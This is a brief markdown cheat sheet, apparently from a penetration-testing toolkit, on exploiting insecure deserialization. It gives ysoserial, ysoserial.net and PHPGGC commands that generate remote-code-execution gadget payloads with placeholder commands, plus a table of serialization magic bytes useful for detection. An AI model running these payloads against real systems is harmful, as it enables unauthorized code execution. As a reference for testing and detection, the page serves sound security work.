<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# API Reference — Exploiting Deserialization

## ysoserial (Java)
```bash
java -jar ysoserial-all.jar GADGET 'COMMAND'
# Gadgets: CommonsCollections1-7, CommonsBeanutils1, Spring1-2, Hibernate1-2, Jdk7u21
java -jar ysoserial-all.jar URLDNS 'http://callback'  # Safe detection
```

## ysoserial.net (.NET)
```powershell
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "cmd /c COMMAND" -o base64
```

## PHPGGC
```bash
phpggc Laravel/RCE1 system 'id' -b
phpggc Symfony/RCE4 exec 'COMMAND'
phpggc -l  # List available gadgets
```

## Serialization Indicators
| Language | Indicator |
|----------|----------|
| Java | `rO0AB` (base64) / `AC ED 00 05` (hex) |
| .NET | `AAEAAAD/` (base64) |
| PHP | `O:N:"class"` |
| Python | `\x80\x04\x95` |

